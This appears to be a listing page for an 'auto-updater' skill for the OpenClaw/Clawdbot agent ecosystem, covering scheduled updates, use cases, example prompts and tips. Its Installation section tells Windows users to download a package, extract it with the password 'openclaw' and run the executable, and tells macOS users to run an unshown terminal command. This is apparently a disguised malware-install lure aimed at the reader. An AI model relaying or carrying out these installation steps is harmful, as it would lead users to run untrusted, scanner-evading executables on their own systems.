auto-updater

What This Skill Does

The auto-updater skill is a maintenance powerhouse for your OpenClaw ecosystem, designed to eliminate the tedious process of manually tracking version updates for both your core Clawdbot installation and its growing library of skills. By leveraging a scheduled cron job, this agent autonomously monitors for updates once daily, applies them when available, and generates a clean, concise summary report so you are always aware of your system's state. It intelligently distinguishes between Clawdbot core updates—whether they are source-based or package-manager based—and individual skill versioning managed through clawdhub. The primary objective is to maintain stability and security without requiring constant user intervention, ensuring you are always running the latest features and patches.

Installation

Before deploying the skill, you must ensure the OpenClawProvider is active on your host system. For Windows users, this involves downloading the specific package, extracting it with the password 'openclaw', and running the executable. MacOS users should execute the provided terminal command to bootstrap the installation. Once the provider is established, you can install the auto-updater by running: 'clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-uqmlhjh7pgz'. After installation, initialize the scheduler by asking your agent to set up daily updates, which automatically configures the necessary cron task.

Use Cases

The skill is ideal for power users and developers who maintain a large suite of OpenClaw plugins and want to avoid the 'version drift' that often causes integration issues. It is particularly valuable for headless server environments where the agent runs in the background and needs to maintain self-sufficiency. By automating the 'clawdbot doctor' and 'clawdhub update' routines, you ensure that migrations are applied correctly and that the agent remains compatible with the latest API definitions provided by the OpenClaw ecosystem.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills to run at 4 AM."
2. "Can you perform a dry run of all skill updates and show me what would change without actually applying them?"
3. "Summarize the status of my current skill versions and tell me if any updates were missed during the last cycle."

Tips & Limitations

To get the most out of this tool, ensure your Clawdbot Gateway is set to run continuously; if the agent is offline during the scheduled cron time, the update will not trigger until the next cycle. Always review the logs if you notice a specific skill failing to update, as dependency conflicts sometimes require manual intervention despite the automated nature of the tool. Remember that while this tool manages updates, it cannot resolve complex configuration breaking changes if the upstream repository undergoes a major architectural overhaul. Keep your system time synced to avoid cron execution drift.